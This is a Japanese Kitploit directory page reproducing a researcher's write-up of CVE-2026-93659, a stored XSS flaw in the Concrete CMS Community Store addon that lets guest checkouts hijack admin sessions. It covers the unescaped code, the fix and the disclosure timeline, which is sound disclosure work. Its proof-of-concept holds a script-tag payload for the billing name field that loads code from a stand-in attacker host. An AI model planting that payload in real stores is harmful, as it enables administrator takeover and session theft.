Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-93659-writeup — Concrete CMS Community StoreにおけるStored XSSにより、管理者ダッシュボードが乗っ取られる脆弱性 | Kitploit
ツール/GitHubGitHub/prince325/cve-2026-93659-writeup
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ論文と研究学習と教育厳選リソース
GitHubprince325/cve-2026-93659-writeup

CVE-2026-93659-writeup

Concrete CMS Community StoreにおけるStored XSSにより、管理者ダッシュボードが乗っ取られる脆弱性

リポジトリを見る
14時間59分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-93659: Concrete CMS Community Store における格納型 XSS が管理者ダッシュボードの乗っ取りにつながる

概要

CVECVE-2026-93659
コンポーネントconcretecms-community-store/community_store
種類格納型クロスサイトスクリプティング (CWE-79)
深刻度CVSS v4.0 9.3 緊急 / v3.1 8.7 高
影響を受けるバージョン2.7.8 より前のすべてのバージョン
修正バージョン2.7.8
クレジットPrince Edem Fiagbedzi (発見者)

Community Store は Concrete CMS 向けのオープンソース e コマースアドオンであり、顧客が入力した注文フィールドをサニタイズせずに保存し、管理者向けの 4 つのビューで HTML エスケープせずにレンダリングしていた。認証されていない訪問者であれば誰でも、請求先の名などのフィールドにスクリプトペイロードを含む注文を送信でき、そのペイロードは次回ストア管理者がその注文を開いたときに、認証済みのダッシュボードセッション内で実行される。これだけで不正な管理者アカウントを作成したり、セッションデータを窃取したりするのに十分である。

影響範囲

すべての注文には顧客が入力したフィールドが含まれる。請求先/配送先の名、姓、メールアドレス、電話番号である。これらのフィールドはそのまま保存され、ストア管理者が日常的に確認する 4 か所でそのままレンダリングされる:

  • 管理画面の注文ビュー (single_pages/dashboard/store/orders.php)
  • 印刷可能な注文伝票 (elements/order_slip.php)
  • 売上レポート (single_pages/dashboard/store/reports/*.php)
  • 顧客向けのチェックアウト完了ページ (single_pages/checkout/complete.php)

重要なのは、注文の送信にアカウントが不要である点だ。Community Store のゲストチェックアウト設定はデフォルトで always に設定されており、これはパッケージ自身のインストーラーが新規インストールのたびに設定するもので、ストア運営者が明示的に有効化するものではない。したがってこれは、ストアが誤設定されていることを必要とするバグではなく、デフォルトの、箱から出したままのインストールに対して悪用可能であり、認証情報も不要である。

緩和策

Community Store を 2.7.8 以降に更新すること。この修正は影響を受ける 4 つのレンダリング箇所すべてに適切な出力エスケープを追加する。脆弱な挙動はエスケープそのものであり、トグルではないため、アップグレード以外に設定による回避策はない。

技術的詳細

4 つのレンダリング箇所はいずれも、顧客が制御するフィールドをエスケープしていなかった。管理画面の注文ビューからの代表的な行を示す:

root@kitploit:~
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>

Concrete の標準的な出力エスケープヘルパーである h() の呼び出しがどこにもなく、同じファイル内の数行先では他の値に対して h() が正しく使われているにもかかわらずである。入力検証も同様に不十分だった。これらのフィールドに適用されていた唯一のチェックは長さ制限 (1〜255 文字) であり、HTML を除去または拒否するものは何もなかった。

root@kitploit:~
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization

請求先の名フィールドに 255 文字未満の <script> ペイロードを入れると、検証をそのまま通過し、保存され、後で管理者がその注文を確認するあらゆる場所でエスケープされずにレンダリングされる。

ゲストチェックアウトのデフォルトはインストーラー内で直接設定されている:

root@kitploit:~
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
    ...
    'guestCheckout' => 'always'
]);

チェックアウトコントローラーは、その設定が off の場合 (またはゲストフラグなしの option の場合) にのみログインを強制し、インストール時のデフォルトではその分岐が決して発動しない。

概念実証

Concrete CMS 9.5.2 上の Community Store v2.7.7 に対してテスト済み (セルフホストの Docker ラボ、PHP 8.3)。ペイロードは通常のゲストチェックアウトとして送信され、いかなる種類の認証も行っていない:

root@kitploit:~
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
  1. 攻撃者は上記のペイロードを含む一見普通のチェックアウトを送信する。アカウントもセッションも Cookie も不要である。
  2. ストア管理者が Dashboard > Store > Orders を開き、その注文を表示する (ペイロードは注文伝票、売上レポート、または顧客自身の確認メールからも同様に発火する。エスケープされていない 4 つのレンダリング経路のいずれでも機能する)。
  3. スクリプトはストア管理者の認証済みセッションと CSRF トークンで実行される。単なるアラートボックスではなく実際の影響を確認するため、私は外部の攻撃者と同様にペイロードを自分でホストし、それを使ってそのセッション内から「管理者追加」フォームをプログラム的に送信し、単一の悪意ある注文を完全な管理者アカウントの乗っ取りに変えた。

開示タイムライン

  • 非公開の GitHub セキュリティアドバイザリを通じてメンテナーに報告
  • Ryan Hewitt によりコミット 2a802d6 として修正がリリースされ、影響を受ける 4 つのレンダリング箇所すべてに h() エスケープが追加された
  • 修正は v2.7.8 リリース に含まれた
  • CVE-2026-93659 は CNA として VulnCheck を通じて公開され、発見者として私がクレジットされた

教訓

  • 出力エスケープは、ある値に対してすべてのレンダリング経路で一貫して適用される必要があり、明白な箇所だけでよいわけではない。このバグが何年も出荷され続けたのは、4 つのレンダリング箇所のうち 3 つが、4 つ目が正しく処理された後に明らかに再確認されなかったためである。
  • ゲストアクセスを設定可能なアドオンにとって、「アカウントが必要」というのは脅威モデルを構築する上で安全な前提ではない。理論上の安全な設定ではなく、実際に出荷されているデフォルトを確認すること。
  • 人気 CMS プラットフォーム向けのマーケットプレイス/コミュニティアドオンは、バグハンティングの出発点として適している。実際のインストール基盤があり、コアよりも本当に監査が行き届いていない。

参考資料

  • CVE-2026-93659
  • 修正コミット 2a802d6
  • v2.7.8 リリースノート
  • Community Store リポジトリ
ツールをダウンロード